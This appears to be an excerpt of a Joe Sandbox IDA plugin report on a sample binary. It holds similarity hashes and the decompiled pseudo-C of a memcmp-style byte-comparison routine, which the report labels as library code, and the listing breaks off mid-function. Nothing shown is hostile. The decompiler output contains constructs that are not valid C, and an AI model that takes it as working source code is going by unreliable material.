Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: cdffd2e81ef067c0a8bfb8c77658afdc023b306caf9bded1efaba2e7502161b2
Instruction ID: 8d744194ac17b3faa87498b83fa382515a563fb2ea71e145e806e3362560855a
Opcode Fuzzy Hash: cdffd2e81ef067c0a8bfb8c77658afdc023b306caf9bded1efaba2e7502161b2
Instruction Fuzzy Hash: BA9002B43651014A76201F705D0974D65B15A6870379124756101C4159DA58414A5529

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD82 Relevance: .5, Instructions: 528
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040FD82(signed char* _a4, signed char* _a8, signed int _a12) {
				signed int _t984;
				void* _t986;
				signed int _t988;
				void* _t989;
				void* _t991;
				void* _t993;
				void* _t994;
				void* _t996;
				void* _t998;
				void* _t1001;
				void* _t1003;
				void* _t1005;
				signed char* _t1006;
				void* _t1007;
				signed int _t1140;
				signed char* _t1144;
				signed char* _t1145;
				signed char* _t1146;
				signed char* _t1147;
				void* _t1173;
				signed int _t1174;
				void* _t1175;
				signed char* _t1176;
				signed char* _t1177;
				signed char* _t1178;
				void* _t1188;
				void* _t1190;
				void* _t1192;
				void* _t1195;
				void* _t1197;
				void* _t1199;
				void* _t1202;
				void* _t1204;
				void* _t1206;
				void* _t1209;
				void* _t1211;
				void* _t1213;
				void* _t1216;
				void* _t1218;
				void* _t1220;
				void* _t1223;
				void* _t1225;
				void* _t1227;
				void* _t1230;
				void* _t1232;
				void* _t1234;
				void* _t1237;
				void* _t1239;
				void* _t1241;

				_t1174 = _a12;
				_t984 = _t1174;
				if(_t984 == 0) {
					return 0;
				}
				_t986 = _t984 - 1;
				if(_t986 == 0) {
					_t988 =  *_a4 & 0x000000ff;
					_t1140 =  *_a8 & 0x000000ff;
					L426:
					_t989 = _t988 - _t1140;
					if(_t989 == 0) {
						L438:
						return _t989;
					}
					return (0 | _t989 > 0x00000000) + (0 | _t989 > 0x00000000) - 1;
				}
				_t991 = _t986 - 1;
				if(_t991 == 0) {
					_t1144 = _a4;
					_t1176 = _a8;
					_t993 = ( *_t1144 & 0x000000ff) - ( *_t1176 & 0x000000ff);
					if(_t993 == 0) {
						L435:
						_t988 = _t1144[1] & 0x000000ff;
						_t1140 = _t1176[1] & 0x000000ff;
						goto L426;
					}
					_t989 = (0 | _t993 > 0x00000000) + (0 | _t993 > 0x00000000) - 1;
					if(_t989 != 0) {
						goto L438;
					}
					goto L435;
				}
				_t994 = _t991 - 1;
				if(_t994 == 0) {
					_t1145 = _a4;
					_t1177 = _a8;
					_t996 = ( *_t1145 & 0x000000ff) - ( *_t1177 & 0x000000ff);
					if(_t996 == 0) {
						L430:
						_t998 = (_t1145[1] & 0x000000ff) - (_t1177[1] & 0x000000ff);
						if(_t998 == 0) {
							L432:
							_t988 = _t1145[2] & 0x000000ff;
							_t1140 = _t1177[2] & 0x000000ff;
							goto L426;
						}
						_t989 = (0 | _t998 > 0x00000000) + (0 | _t998 > 0x00000000) - 1;
						if(_t989 != 0) {
							goto L438;
						}
						goto L432;
					}
					_t989 = (0 | _t996 > 0x00000000) + (0 | _t996 > 0x00000000) - 1;
					if(_t989 != 0) {
						goto L438;
					}
					goto L430;
				}
				if(_t994 == 1) {
					_t1146 = _a4;
					_t1178 = _a8;
					_t1001 = ( *_t1146 & 0x000000ff) - ( *_t1178 & 0x000000ff);
					if(_t1001 == 0) {
						L421:
						_t1003 = (_t1146[1] & 0x000000ff) - (_t1178[1] & 0x000000ff);
						if(_t1003 == 0) {
							L423:
							_t1005 = (_t1146[2] & 0x000000ff) - (_t1178[2] & 0x000000ff);
							if(_t1005 == 0) {
								L425:
								_t988 = _t1146[3] & 0x000000ff;
								_t1140 = _t1178[3] & 0x000000ff;
								goto L426;
							}
							_t989 = (0 | _t1005 > 0x00000000) + (0 | _t1005 > 0x00000000) - 1;
							if(_t989 != 0) {
								goto L438;
							}
							goto L425;
						}
						_t989 = (0 | _t1003 > 0x00000000) + (0 | _t1003 > 0x00000000) - 1;
						if(_t989 != 0) {
							goto L438;
						}
						goto L423;
					}
					_t989 = (0 | _t1001 > 0x00000000) + (0 | _t1001 > 0x00000000) - 1;
					if(_t989 != 0) {
						goto L438;
					}
					goto L421;
				} else {
					_t1147 = _a8;
					_t1006 = _a4;
					_t1173 = 0x20;
					while(_t1174 >= _t1173) {
						if( *_t1006 ==  *_t1147) {
							_t1175 = 0;
							L16:
							if(_t1175 != 0) {
								L98:
								_t1007 = _t1175;
								L178:
								return _t1007;
							}
							if(_t1006[4] == _t1147[4]) {
								_t1175 = 0;
								L27:
								if(_t1175 != 0) {
									goto L98;
								}
								if(_t1006[8] == _t1147[8]) {
									_t1175 = 0;
									L38:
									if(_t1175 != 0) {
										goto L98;
									}
									if(_t1006[0xc] == _t1147[0xc]) {
										_t1175 = 0;
										L49:
										if(_t1175 != 0) {
											goto L98;
										}
										if(_t1006[0x10] == _t1147[0x10]) {
											_t1175 = 0;
											L60:
											if(_t1175 != 0) {
												goto L98;
											}
											if(_t1006[0x14] == _t1147[0x14]) {
												_t1175 = 0;
												L71:
												if(_t1175 != 0) {
													goto L98;
												}
												if(_t1006[0x18] == _t1147[0x18]) {
													_t1175 = 0;
													L82:
													if(_t1175 != 0) {
														goto L98;
													}
													if(_t1006[0x1c] == _t1147[0x1c]) {
														_t1175 = 0;
														L93:
														if(_t1175 != 0) {
															goto L98;
														} else {
															_t1006 =  &(_t1006[_t1173]);
															_t1147 =  &(_t1147[_t1173]);
															_t1174 = _t1174 - _t1173;
															continue;
														}
													}
													_t1188 = (_t1006[0x1c] & 0x000000ff) - (_t1147[0x1c] & 0x000000ff);
													if(_t1188 == 0) {
														L86:
														_t1190 = (_t1006[0x1d] & 0x000000ff) - (_t1147[0x1d] & 0x000000ff);
														if(_t1190 == 0) {
															L88:
															_t1192 = (_t1006[0x1e] & 0x000000ff) - (_t1147[0x1e] & 0x000000ff);
															if(_t1192 == 0) {
																L90:
																_t1175 = (_t1006[0x1f] & 0x000000ff) - (_t1147[0x1f] & 0x000000ff);
																if(_t1175 != 0) {
																	_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
																}
																goto L93;
															}
															_t1175 = (0 | _t1192 > 0x00000000) + (0 | _t1192 > 0x00000000) - 1;
															if(_t1175 != 0) {
																goto L98;
															}
															goto L90;
														}
														_t1175 = (0 | _t1190 > 0x00000000) + (0 | _t1190 > 0x00000000) - 1;
														if(_t1175 != 0) {
															goto L98;
														}
														goto L88;
													}
													_t1175 = (0 | _t1188 > 0x00000000) + (0 | _t1188 > 0x00000000) - 1;
													if(_t1175 != 0) {
														goto L98;
													}
													goto L86;
												}
												_t1195 = (_t1006[0x18] & 0x000000ff) - (_t1147[0x18] & 0x000000ff);
												if(_t1195 == 0) {
													L75:
													_t1197 = (_t1006[0x19] & 0x000000ff) - (_t1147[0x19] & 0x000000ff);
													if(_t1197 == 0) {
														L77:
														_t1199 = (_t1006[0x1a] & 0x000000ff) - (_t1147[0x1a] & 0x000000ff);
														if(_t1199 == 0) {
															L79:
															_t1175 = (_t1006[0x1b] & 0x000000ff) - (_t1147[0x1b] & 0x000000ff);
															if(_t1175 != 0) {
																_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
															}
															goto L82;
														}
														_t1175 = (0 | _t1199 > 0x00000000) + (0 | _t1199 > 0x00000000) - 1;
														if(_t1175 != 0) {
															goto L98;
														}
														goto L79;
													}
													_t1175 = (0 | _t1197 > 0x00000000) + (0 | _t1197 > 0x00000000) - 1;
													if(_t1175 != 0) {
														goto L98;
													}
													goto L77;
												}
												_t1175 = (0 | _t1195 > 0x00000000) + (0 | _t1195 > 0x00000000) - 1;
												if(_t1175 != 0) {
													goto L98;
												}
												goto L75;
											}
											_t1202 = (_t1006[0x14] & 0x000000ff) - (_t1147[0x14] & 0x000000ff);
											if(_t1202 == 0) {
												L64:
												_t1204 = (_t1006[0x15] & 0x000000ff) - (_t1147[0x15] & 0x000000ff);
												if(_t1204 == 0) {
													L66:
													_t1206 = (_t1006[0x16] & 0x000000ff) - (_t1147[0x16] & 0x000000ff);
													if(_t1206 == 0) {
														L68:
														_t1175 = (_t1006[0x17] & 0x000000ff) - (_t1147[0x17] & 0x000000ff);
														if(_t1175 != 0) {
															_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
														}
														goto L71;
													}
													_t1175 = (0 | _t1206 > 0x00000000) + (0 | _t1206 > 0x00000000) - 1;
													if(_t1175 != 0) {
														goto L98;
													}
													goto L68;
												}
												_t1175 = (0 | _t1204 > 0x00000000) + (0 | _t1204 > 0x00000000) - 1;
												if(_t1175 != 0) {
													goto L98;
												}
												goto L66;
											}
											_t1175 = (0 | _t1202 > 0x00000000) + (0 | _t1202 > 0x00000000) - 1;
											if(_t1175 != 0) {
												goto L98;
											}
											goto L64;
										}
										_t1209 = (_t1006[0x10] & 0x000000ff) - (_t1147[0x10] & 0x000000ff);
										if(_t1209 == 0) {
											L53:
											_t1211 = (_t1006[0x11] & 0x000000ff) - (_t1147[0x11] & 0x000000ff);
											if(_t1211 == 0) {
												L55:
												_t1213 = (_t1006[0x12] & 0x000000ff) - (_t1147[0x12] & 0x000000ff);
												if(_t1213 == 0) {
													L57:
													_t1175 = (_t1006[0x13] & 0x000000ff) - (_t1147[0x13] & 0x000000ff);
													if(_t1175 != 0) {
														_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
													}
													goto L60;
												}
												_t1175 = (0 | _t1213 > 0x00000000) + (0 | _t1213 > 0x00000000) - 1;
												if(_t1175 != 0) {
													goto L98;
												}
												goto L57;
											}
											_t1175 = (0 | _t1211 > 0x00000000) + (0 | _t1211 > 0x00000000) - 1;
											if(_t1175 != 0) {
												goto L98;
											}
											goto L55;
										}
										_t1175 = (0 | _t1209 > 0x00000000) + (0 | _t1209 > 0x00000000) - 1;
										if(_t1175 != 0) {
											goto L98;
										}
										goto L53;
									}
									_t1216 = (_t1006[0xc] & 0x000000ff) - (_t1147[0xc] & 0x000000ff);
									if(_t1216 == 0) {
										L42:
										_t1218 = (_t1006[0xd] & 0x000000ff) - (_t1147[0xd] & 0x000000ff);
										if(_t1218 == 0) {
											L44:
											_t1220 = (_t1006[0xe] & 0x000000ff) - (_t1147[0xe] & 0x000000ff);
											if(_t1220 == 0) {
												L46:
												_t1175 = (_t1006[0xf] & 0x000000ff) - (_t1147[0xf] & 0x000000ff);
												if(_t1175 != 0) {
													_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
												}
												goto L49;
											}
											_t1175 = (0 | _t1220 > 0x00000000) + (0 | _t1220 > 0x00000000) - 1;
											if(_t1175 != 0) {
												goto L98;
											}
											goto L46;
										}
										_t1175 = (0 | _t1218 > 0x00000000) + (0 | _t1218 > 0x00000000) - 1;
										if(_t1175 != 0) {
											goto L98;
										}
										goto L44;
									}
									_t1175 = (0 | _t1216 > 0x00000000) + (0 | _t1216 > 0x00000000) - 1;
									if(_t1175 != 0) {
										goto L98;
									}
									goto L42;
								}
								_t1223 = (_t1006[8] & 0x000000ff) - (_t1147[8] & 0x000000ff);
								if(_t1223 == 0) {
									L31:
									_t1225 = (_t1006[9] & 0x000000ff) - (_t1147[9] & 0x000000ff);
									if(_t1225 == 0) {
										L33:
										_t1227 = (_t1006[0xa] & 0x000000ff) - (_t1147[0xa] & 0x000000ff);
										if(_t1227 == 0) {
											L35:
											_t1175 = (_t1006[0xb] & 0x000000ff) - (_t1147[0xb] & 0x000000ff);
											if(_t1175 != 0) {
												_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
											}
											goto L38;
										}
										_t1175 = (0 | _t1227 > 0x00000000) + (0 | _t1227 > 0x00000000) - 1;
										if(_t1175 != 0) {
											goto L98;
										}
										goto L35;
									}
									_t1175 = (0 | _t1225 > 0x00000000) + (0 | _t1225 > 0x00000000) - 1;
									if(_t1175 != 0) {
										goto L98;
									}
									goto L33;
								}
								_t1175 = (0 | _t1223 > 0x00000000) + (0 | _t1223 > 0x00000000) - 1;
								if(_t1175 != 0) {
									goto L98;
								}
								goto L31;
							}
							_t1230 = (_t1006[4] & 0x000000ff) - (_t1147[4] & 0x000000ff);
							if(_t1230 == 0) {
								L20:
								_t1232 = (_t1006[5] & 0x000000ff) - (_t1147[5] & 0x000000ff);
								if(_t1232 == 0) {
									L22:
									_t1234 = (_t1006[6] & 0x000000ff) - (_t1147[6] & 0x000000ff);
									if(_t1234 == 0) {
										L24:
										_t1175 = (_t1006[7] & 0x000000ff) - (_t1147[7] & 0x000000ff);
										if(_t1175 != 0) {
											_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
										}
										goto L27;
									}
									_t1175 = (0 | _t1234 > 0x00000000) + (0 | _t1234 > 0x00000000) - 1;
									if(_t1175 != 0) {
										goto L98;
									}
									goto L24;
								}
								_t1175 = (0 | _t1232 > 0x00000000) + (0 | _t1232 > 0x00000000) - 1;
								if(_t1175 != 0) {
									goto L98;
								}
								goto L22;
							}
							_t1175 = (0 | _t1230 > 0x00000000) + (0 | _t1230 > 0x00000000) - 1;
							if(_t1175 != 0) {
								goto L98;
							}
							goto L20;
						}
						_t1237 = ( *_t1006 & 0x000000ff) - ( *_t1147 & 0x000000ff);
						if(_t1237 == 0) {
							L9:
							_t1239 = (_t1006[1] & 0x000000ff) - (_t1147[1] & 0x000000ff);
							if(_t1239 == 0) {
								L11:
								_t1241 = (_t1006[2] & 0x000000ff) - (_t1147[2] & 0x000000ff);
								if(_t1241 == 0) {
									L13:
									_t1175 = (_t1006[3] & 0x000000ff) - (_t1147[3] & 0x000000ff);
									if(_t1175 != 0) {
										_t1175 = (0 | _t1175 > 0x00000000) + (0 | _t1175 > 0x00000000) - 1;
									}
									goto L16;
								}
								_t1175 = (0 | _t1241 > 0x00000000) + (0 | _t1241 > 0x00000000) - 1;
								if(_t1175 != 0) {
									goto L98;
								}
								goto L13;
							}
							_t1175 = (0 | _t1239 > 0x00000000) + (0 | _t1239 > 0x00000000) - 1;
							if(_t1175 != 0) {
								goto L98;
							}
							goto L11;
						}
						_t1175 = (0 | _t1237 > 0x00000000) + (0 | _t1237 > 0x00000000) - 1;
						if(_t1175 != 0) {
							goto L98;
						}
						goto L9;
					}
					if(_t1174 > 0x1f) {
						L177:
						_t1007 = 0;
						goto L178;
					}
					switch( *((intOrPtr*)(_t1174 * 4 +  &M00411382))) {
						case 0:
							goto L177;
						case 1:
							L256:
							__ecx =  *(__ecx - 1) & 0x000000ff;
							__eax =  *(__eax - 1) & 0x000000ff;
							__eax = __eax - __ecx;
							if(__eax != 0) {
								0 = 0 | __eax > 0x00000000;
								__ecx = (__eax > 0) + (__eax > 0) - 1;
								__eax = (__eax > 0) + (__eax > 0) - 1;
							}
							goto L178;
						case 2:
							L335:
							if( *(__eax - 2) ==  *(__ecx - 2)) {
								goto L177;
							}
							goto L336;
						case 3:
							L416:
							__esi =  *(__eax - 3) & 0x000000ff;
							__edx =  *(__ecx - 3) & 0x000000ff;
							__esi = ( *(__eax - 3) & 0x000000ff) - ( *(__ecx - 3) & 0x000000ff);
							if(__esi == 0) {
								L336:
								__edx =  *(__ecx - 2) & 0x000000ff;
								__esi =  *(__eax - 2) & 0x000000ff;
								__esi = ( *(__eax - 2) & 0x000000ff) - ( *(__ecx - 2) & 0x000000ff);
								if(__esi == 0) {
									goto L256;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								if(__edx != 0) {
									L418:
									__eax = __edx;
									goto L178;
								}
								goto L256;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							if(__edx == 0) {
								goto L336;
							}
							goto L418;
						case 4:
							L165:
							__edx =  *(__eax - 4);
							if( *(__eax - 4) ==  *(__ecx - 4)) {
								__eax = 0;
								L176:
								if(__eax != 0) {
									goto L178;
								}
								goto L177;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 4) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 4) & 0x000000ff);
							if(__esi == 0) {
								L168:
								__esi =  *(__eax - 3) & 0x000000ff;
								__edx =  *(__ecx - 3) & 0x000000ff;
								__esi = ( *(__eax - 3) & 0x000000ff) - ( *(__ecx - 3) & 0x000000ff);
								if(__esi == 0) {
									L170:
									__esi =  *(__eax - 2) & 0x000000ff;
									__edx =  *(__ecx - 2) & 0x000000ff;
									__esi = ( *(__eax - 2) & 0x000000ff) - ( *(__ecx - 2) & 0x000000ff);
									if(__esi == 0) {
										L173:
										__eax =  *(__eax - 1) & 0x000000ff;
										__eax = __eax - __ecx;
										if(__eax != 0) {
											0 = 0 | __eax > 0x00000000;
											__ecx = (__eax > 0) + (__eax > 0) - 1;
											__eax = (__eax > 0) + (__eax > 0) - 1;
										}
										goto L176;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									if(__edx == 0) {
										goto L173;
									}
									L172:
									__eax = __edx;
									goto L176;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								if(__edx != 0) {
									goto L172;
								}
								goto L170;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							if(__edx != 0) {
								goto L172;
							}
							goto L168;
						case 5:
							L245:
							__edx =  *(__eax - 5);
							if( *(__eax - 5) ==  *(__ecx - 5)) {
								__esi = 0;
								L255:
								if(__esi != 0) {
									goto L98;
								}
								goto L256;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 5) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 5) & 0x000000ff);
							if(__esi == 0) {
								L248:
								__esi =  *(__eax - 4) & 0x000000ff;
								__edx =  *(__ecx - 4) & 0x000000ff;
								__esi = ( *(__eax - 4) & 0x000000ff) - ( *(__ecx - 4) & 0x000000ff);
								if(__esi == 0) {
									L250:
									__esi =  *(__eax - 3) & 0x000000ff;
									__edx =  *(__ecx - 3) & 0x000000ff;
									__esi = ( *(__eax - 3) & 0x000000ff) - ( *(__ecx - 3) & 0x000000ff);
									if(__esi == 0) {
										L252:
										__esi =  *(__eax - 2) & 0x000000ff;
										__edx =  *(__ecx - 2) & 0x000000ff;
										__esi = ( *(__eax - 2) & 0x000000ff) - ( *(__ecx - 2) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L255;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L252;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L250;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L248;
						case 6:
							L324:
							__edx =  *(__eax - 6);
							if( *(__eax - 6) ==  *(__ecx - 6)) {
								__esi = 0;
								L334:
								if(__esi != 0) {
									goto L98;
								}
								goto L335;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 6) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 6) & 0x000000ff);
							if(__esi == 0) {
								L327:
								__esi =  *(__eax - 5) & 0x000000ff;
								__edx =  *(__ecx - 5) & 0x000000ff;
								__esi = ( *(__eax - 5) & 0x000000ff) - ( *(__ecx - 5) & 0x000000ff);
								if(__esi == 0) {
									L329:
									__esi =  *(__eax - 4) & 0x000000ff;
									__edx =  *(__ecx - 4) & 0x000000ff;
									__esi = ( *(__eax - 4) & 0x000000ff) - ( *(__ecx - 4) & 0x000000ff);
									if(__esi == 0) {
										L331:
										__esi =  *(__eax - 3) & 0x000000ff;
										__edx =  *(__ecx - 3) & 0x000000ff;
										__esi = ( *(__eax - 3) & 0x000000ff) - ( *(__ecx - 3) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L334;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L331;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L329;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L327;
						case 7:
							L405:
							__edx =  *(__eax - 7);
							if( *(__eax - 7) ==  *(__ecx - 7)) {
								__esi = 0;
								L415:
								if(__esi != 0) {
									goto L98;
								}
								goto L416;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 7) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 7) & 0x000000ff);
							if(__esi == 0) {
								L408:
								__esi =  *(__eax - 6) & 0x000000ff;
								__edx =  *(__ecx - 6) & 0x000000ff;
								__esi = ( *(__eax - 6) & 0x000000ff) - ( *(__ecx - 6) & 0x000000ff);
								if(__esi == 0) {
									L410:
									__esi =  *(__eax - 5) & 0x000000ff;
									__edx =  *(__ecx - 5) & 0x000000ff;
									__esi = ( *(__eax - 5) & 0x000000ff) - ( *(__ecx - 5) & 0x000000ff);
									if(__esi == 0) {
										L412:
										__esi =  *(__eax - 4) & 0x000000ff;
										__edx =  *(__ecx - 4) & 0x000000ff;
										__esi = ( *(__eax - 4) & 0x000000ff) - ( *(__ecx - 4) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L415;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L412;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L410;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L408;
						case 8:
							L154:
							__edx =  *(__eax - 8);
							if( *(__eax - 8) ==  *(__ecx - 8)) {
								__esi = 0;
								L164:
								if(__esi != 0) {
									goto L98;
								}
								goto L165;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 8) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 8) & 0x000000ff);
							if(__esi == 0) {
								L157:
								__esi =  *(__eax - 7) & 0x000000ff;
								__edx =  *(__ecx - 7) & 0x000000ff;
								__esi = ( *(__eax - 7) & 0x000000ff) - ( *(__ecx - 7) & 0x000000ff);
								if(__esi == 0) {
									L159:
									__esi =  *(__eax - 6) & 0x000000ff;
									__edx =  *(__ecx - 6) & 0x000000ff;
									__esi = ( *(__eax - 6) & 0x000000ff) - ( *(__ecx - 6) & 0x000000ff);
									if(__esi == 0) {
										L161:
										__esi =  *(__eax - 5) & 0x000000ff;
										__edx =  *(__ecx - 5) & 0x000000ff;
										__esi = ( *(__eax - 5) & 0x000000ff) - ( *(__ecx - 5) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L164;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L161;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L159;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L157;
						case 9:
							L234:
							__edx =  *(__eax - 9);
							if( *(__eax - 9) ==  *(__ecx - 9)) {
								__esi = 0;
								L244:
								if(__esi != 0) {
									goto L98;
								}
								goto L245;
							}
							__edx =  *(__ecx - 9) & 0x000000ff;
							__esi =  *(__eax - 9) & 0x000000ff;
							__esi = ( *(__eax - 9) & 0x000000ff) - ( *(__ecx - 9) & 0x000000ff);
							if(__esi == 0) {
								L237:
								__esi =  *(__eax - 8) & 0x000000ff;
								__edx =  *(__ecx - 8) & 0x000000ff;
								__esi = ( *(__eax - 8) & 0x000000ff) - ( *(__ecx - 8) & 0x000000ff);
								if(__esi == 0) {
									L239:
									__esi =  *(__eax - 7) & 0x000000ff;
									__edx =  *(__ecx - 7) & 0x000000ff;
									__esi = ( *(__eax - 7) & 0x000000ff) - ( *(__ecx - 7) & 0x000000ff);
									if(__esi == 0) {
										L241:
										__esi =  *(__eax - 6) & 0x000000ff;
										__edx =  *(__ecx - 6) & 0x000000ff;
										__esi = ( *(__eax - 6) & 0x000000ff) - ( *(__ecx - 6) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L244;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L241;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L239;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L237;
						case 0xa:
							L313:
							__edx =  *(__eax - 0xa);
							if( *(__eax - 0xa) ==  *(__ecx - 0xa)) {
								__esi = 0;
								L323:
								if(__esi != 0) {
									goto L98;
								}
								goto L324;
							}
							__edx =  *(__ecx - 0xa) & 0x000000ff;
							__esi =  *(__eax - 0xa) & 0x000000ff;
							__esi = ( *(__eax - 0xa) & 0x000000ff) - ( *(__ecx - 0xa) & 0x000000ff);
							if(__esi == 0) {
								L316:
								__edx =  *(__ecx - 9) & 0x000000ff;
								__esi =  *(__eax - 9) & 0x000000ff;
								__esi = ( *(__eax - 9) & 0x000000ff) - ( *(__ecx - 9) & 0x000000ff);
								if(__esi == 0) {
									L318:
									__edx =  *(__ecx - 8) & 0x000000ff;
									__esi =  *(__eax - 8) & 0x000000ff;
									__esi = ( *(__eax - 8) & 0x000000ff) - ( *(__ecx - 8) & 0x000000ff);
									if(__esi == 0) {
										L320:
										__edx =  *(__ecx - 7) & 0x000000ff;
										__esi =  *(__eax - 7) & 0x000000ff;
										__esi = ( *(__eax - 7) & 0x000000ff) - ( *(__ecx - 7) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L323;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L320;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L318;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L316;
						case 0xb:
							L394:
							__edx =  *(__eax - 0xb);
							if( *(__eax - 0xb) ==  *(__ecx - 0xb)) {
								__esi = 0;
								L404:
								if(__esi != 0) {
									goto L98;
								}
								goto L405;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0xb) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0xb) & 0x000000ff);
							if(__esi == 0) {
								L397:
								__esi =  *(__eax - 0xa) & 0x000000ff;
								__edx =  *(__ecx - 0xa) & 0x000000ff;
								__esi = ( *(__eax - 0xa) & 0x000000ff) - ( *(__ecx - 0xa) & 0x000000ff);
								if(__esi == 0) {
									L399:
									__esi =  *(__eax - 9) & 0x000000ff;
									__edx =  *(__ecx - 9) & 0x000000ff;
									__esi = ( *(__eax - 9) & 0x000000ff) - ( *(__ecx - 9) & 0x000000ff);
									if(__esi == 0) {
										L401:
										__esi =  *(__eax - 8) & 0x000000ff;
										__edx =  *(__ecx - 8) & 0x000000ff;
										__esi = ( *(__eax - 8) & 0x000000ff) - ( *(__ecx - 8) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
